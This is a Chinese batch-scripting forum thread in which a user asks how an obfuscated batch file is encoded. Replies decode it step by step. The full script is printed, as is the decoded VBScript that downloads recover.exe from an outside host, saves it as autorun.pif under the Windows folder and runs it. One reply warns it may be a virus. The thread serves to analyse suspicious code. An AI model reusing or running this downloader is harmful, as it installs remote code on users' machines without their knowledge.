[新手上路]批处理新手入门导读[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动[批处理精品]CMD命令50条不能说的秘密[在线下载]第三方命令行工具[在线帮助]VBScript / JScript 在线参考
返回列表 发帖

[特效代码] [已解决]求这段代码是如何加密的?然后怎么解密?

本帖最后由 kay1101 于 2012-11-6 21:28 编辑
  1. @echo off
  2. echoS=^"75726C203D2022687474703A2F2F757365722E66726565322E37373136392E6E65742F746174702F6B6972612F7265636F7665722E65786522200D0A736176656173203D2022633A5C77696E646F77735C6175746F72756E2E70696622200D0A53657420786D6C68747470203D204372656174654F626A65637428224D6963726F736F66742E584D4C485454502229200D0A5365742073747265616D203D204372656174654F626A656374282241444F44422E53747265616D2229200D0A43616C6C20786D6C687474702E6F70656E2822474554222C75726C2C46616C736529200D0A43616C6C20786D6C687474702E73656E642829200D0A73747265616D2E6D6F6465203D2033200D0A73747265616D2E74797065203D2031200D0A43616C6C2073747265616D2E6F70656E2829200D0A43616C6C2073747265616D2E777269746528786D6C687474702E726573706F6E7365626F647929200D0A43616C6C2073747265616D2E73617665746F66696C65287361766561732C322920":D="EXECUTE """"":C="^&CHR(^&H":N=")^":DO WHILE LEN(S)^>1:IF ISNUMERIC(LEFT(S,1))THEN D=D^&C^&LEFT(S,2)^&N:S=MID(S,3) ELSE D=D^&C^&LEFT(S,4)^&N:S=MID(S,5)>tmp
  3. echo LOOP:EXECUTE D>>tmp
  4. %e%r%e%e%e%n %e%t%e%m%e%p %e%d%e%.%e%v%e%b%e%s
  5. s%e%t%e%a%e%r%e%t d%e%.%e%v%e%b%e%s%e%
  6. echo 正在加载,请稍候....
  7. ping 127.0 -n 5 >nul
  8. st%e%a%e%r%e%t %windir%\%e%au%e%to%e%ru%e%n%e%.%e%pi%e%f
  9. echo exit|%ComSpec% /k prompt e 100 B0 13 CD 10 C4 2F AA 11 F8 64 13 06 6C 04 EB F6 $_g$_q$_|debug>nul
复制代码
1

评分人数

    • Batcher: 感谢给帖子标题标注[已解决]字样PB + 2

一步一步来吧,因为%e%这个变量没有定义,所以可以全部删除:
  1. @echo off
  2. echoS=^"75726C203D2022687474703A2F2F757365722E66726565322E37373136392E6E65742F746174702F6B6972612F7265636F7665722E65786522200D0A736176656173203D2022633A5C77696E646F77735C6175746F72756E2E70696622200D0A53657420786D6C68747470203D204372656174654F626A65637428224D6963726F736F66742E584D4C485454502229200D0A5365742073747265616D203D204372656174654F626A656374282241444F44422E53747265616D2229200D0A43616C6C20786D6C687474702E6F70656E2822474554222C75726C2C46616C736529200D0A43616C6C20786D6C687474702E73656E642829200D0A73747265616D2E6D6F6465203D2033200D0A73747265616D2E74797065203D2031200D0A43616C6C2073747265616D2E6F70656E2829200D0A43616C6C2073747265616D2E777269746528786D6C687474702E726573706F6E7365626F647929200D0A43616C6C2073747265616D2E73617665746F66696C65287361766561732C322920":D="EXECUTE """"":C="^&CHR(^&H":N=")^":DO WHILE LEN(S)^>1:IF ISNUMERIC(LEFT(S,1))THEN D=D^&C^&LEFT(S,2)^&N:S=MID(S,3) ELSE D=D^&C^&LEFT(S,4)^&N:S=MID(S,5)>tmp
  3. echo LOOP:EXECUTE D>>tmp
  4. ren tmp d.vbs
  5. start d.vbs
  6. echo 正在加载,请稍候....
  7. ping 127.0 -n 5 >nul
  8. start %windir%\autorun.pif
  9. echo exit|%ComSpec% /k prompt e 100 B0 13 CD 10 C4 2F AA 11 F8 64 13 06 6C 04 EB F6 $_g$_q$_|debug>nul
复制代码
这样能看懂了吗?

TOP

回复 2# BAT-VBS


02和09行的代码怎么解释呢?02行的应该是加密过的vbs吧,09行看不懂,也是加密的?

TOP

回复 3# kay1101


动态生成的那个VBS解密出来是这样的:
  1. url = "http://user.free2.77169.net/tatp/kira/recover.exe"
  2. saveas = "c:\windows\autorun.pif"
  3. Set xmlhttp = CreateObject("Microsoft.XMLHTTP")
  4. Set stream = CreateObject("ADODB.Stream")
  5. Call xmlhttp.open("GET",url,False)
  6. Call xmlhttp.send()
  7. stream.mode = 3
  8. stream.type = 1
  9. Call stream.open()
  10. Call stream.write(xmlhttp.responsebody)
  11. Call stream.savetofile(saveas,2)
复制代码
不知道是不是病毒,别轻易执行。
1

评分人数

TOP

第九行不是加密,那是debug命令的基本用法之一。

TOP

本帖最后由 kay1101 于 2012-11-6 21:27 编辑

回复 4# BAT-VBS


哇,真厉害啊,我好像知道了,就是替换EXECUTE一点点解吧,多谢了~

TOP

本帖最后由 wc726842270 于 2012-11-7 02:55 编辑

呵呵,域名都有了,反推就很简单了,只要没有被收回就能找到,不过最差的也得看明白源文件,不过在这之前最好作一些准备,比如,禁用ACTIVEX,JS等
枫中残雪:风停了,我的心却在动,让我心中的寒意走向远方

TOP

回复 7# wc726842270


    你想反推什么东西啊?

TOP

回复 6# kay1101


论坛有人写过现成的代码
http://www.bathome.net/thread-3637-1-1.html

TOP

返回列表